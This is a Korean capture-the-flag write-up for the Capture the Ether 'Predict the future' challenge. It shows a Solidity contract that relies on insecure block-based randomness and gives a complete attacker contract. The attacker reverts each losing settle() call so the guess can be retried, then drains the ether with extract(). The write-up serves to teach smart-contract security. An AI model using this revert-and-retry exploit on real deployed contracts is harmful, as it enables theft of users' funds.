Capture the ether-Predict the future

problem link

pragma solidity ^0.4.21;
 
contract PredictTheFutureChallenge {
    address guesser;
    uint8 guess;
    uint256 settlementBlockNumber;
 
    function PredictTheFutureChallenge() public payable {
        require(msg.value == 1 ether);
    }
 
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }
 
    function lockInGuess(uint8 n) public payable {
        require(guesser == 0);
        require(msg.value == 1 ether);
 
        guesser = msg.sender;
        guess = n;
        settlementBlockNumber = block.number + 1;
    }
 
    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);
 
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
 
        guesser = 0;
        if (guess == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

settle를 호출하여 해시값을 맞추어 balance를 0으로 만들라. settle 호출 전에 lockInGuess를 먼저 호출해두어야 한다.

풀이

처음에는 timestamp를 조작해야 하나 생각했다. 하지만 miner가 되어 채굴에 성공하고 조작하는 것은 굉장한 비용이 든다. 다른 방법이 없을까 찾다가, 그냥 실패시 임의로 취소시켜 guesser 초기화를 막는 방법이 떠올랐다.

먼저 lockInGuess를 호출하며 아무 숫자를 등록한다. 0~9 사이의 수를 등록한다. 이후 동일한 공격 컨트랙트를 이용하여 settle을 호출한다. 이 때, 이더리움이 전송되지 않으면(guess가 맞지 않으면) 컨트랙트 콜을 취소시킨다. 그렇게 반복해서 호출하다보면 10%의 확률로 정답을 찍게 된다.

// SPDX-License-Identifier: MIT
 
pragma solidity ^0.8.7;
 
interface PredictTheFutureChallenge {
    function lockInGuess(uint8 n) external payable;
    function settle() external;
}
 
contract PredictTheFutureSolver {
    address payable public owner;
    PredictTheFutureChallenge public problem;
 
    constructor (address _problem) {
        owner = payable(msg.sender);
        problem = PredictTheFutureChallenge(payable(_problem));
    }
 
    function lockInGuess() public payable {
        uint8 answer = 1;
        problem.lockInGuess{value: msg.value}(answer);
    }
 
    function settle() public {
        problem.settle();
 
        require(address(this).balance > 0, "fail");
    }
 
    function extract() public {
        owner.transfer(address(this).balance);
    }
 
    receive() external payable { }
}

다음은 공격 코드이다. settle를 성공할 때까지 호출하면 된다. extract 을 넣어 이더리움을 빼낼 수 있게 했다. remix에서는 결과를 예상하여 require(address(this).balance > 0, "fail"); 에서 실패할 거라는 메시지를 띄우지만, 무시하고 실행하면 된다.


tags: writeup, blockchain, solidity, smart contract, insecure randomness